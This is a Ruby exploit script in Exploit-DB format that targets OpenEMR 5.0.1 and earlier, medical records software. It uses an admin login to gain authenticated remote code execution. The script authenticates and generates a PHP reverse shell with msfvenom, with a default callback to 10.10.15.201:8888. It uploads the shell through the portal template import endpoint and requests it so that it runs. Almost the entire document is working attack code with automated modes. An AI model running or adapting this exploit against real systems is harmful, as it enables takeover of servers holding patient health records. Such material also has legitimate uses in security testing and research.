#!/usr/bin/env ruby # Title: OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution # Exploit Author: Alexandre ZANNI # Date: 2020-07-16 # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz # Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile # Version: < 5.0.1 (Patch 4) # Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3 # References: https://www.exploit-db.com/exploits/48515 require 'httpclient' require 'docopt' shell_name = 'shell4.php' user = 'openemr_admin' password = 'xxxxxx' payload = 'php/reverse_php' lhost = '10.10.15.201' lport = 8888 doc = <<~DOCOPT OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution Usage: #{__FILE__} manual --root-url --shell --user --password [--debug] #{__FILE__} semi-auto --root-url --user --password --payload --lhost --lport [--debug] #{__FILE__} auto --root-url --user --password --lhost --lport [--debug] #{__FILE__} -H | --help Options: -r , --root-url Root URL (base path) including HTTP scheme, port and root folder -s , --shell Filename of the PHP reverse shell payload -u , --user Username of the admin -p , --password Password of the admin -m , --payload Metasploit PHP payload -h , --lhost Reverse shell local host -t , --lport Reverse shell local port --debug Display arguments -H, --help Show this screen Examples: #{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123 #{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888 #{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999 DOCOPT begin args = Docopt.docopt(doc) pp args if args['--debug'] if args['manual'] shell_name = File.basename(args['--shell']) shell_path = args['--shell'] else shell_name = "tmp#{rand(1000)}.php" shell_path = shell_name end if args['semi-auto'] payload = args['--payload'] else payload = 'php/reverse_php' end # Authentication data uri_1 = URI("#{args['--root-url']}/interface/main/main_screen.php?auth=login&site=default") data_1= { 'new_login_session_management' => '1', 'authProvider' => 'Default', 'authUser' => args['--user'], 'clearPass' => args['--password'], 'languageChoice' => '1' } # Reverse shell data unless args['manual'] puts "[+] Generating the reverse shell payload: #{shell_name}" %x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw > #{shell_name}) end data_2 = { 'site' => 'default', 'mode' => 'save', 'docid' => shell_name, 'content' => File.read(shell_path)} uri_2 = URI("#{args['--root-url']}/portal/import_template.php?site=default") uri_3 = URI("#{args['--root-url']}/portal/#{shell_name}") clnt = HTTPClient.new puts '[+] Authenticating' clnt.post(uri_1, data_1) puts '[+] Uploading the reverse shell' clnt.post(uri_2, data_2) puts "[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}" clnt.get(uri_3) rescue Docopt::Exit => e puts e.message end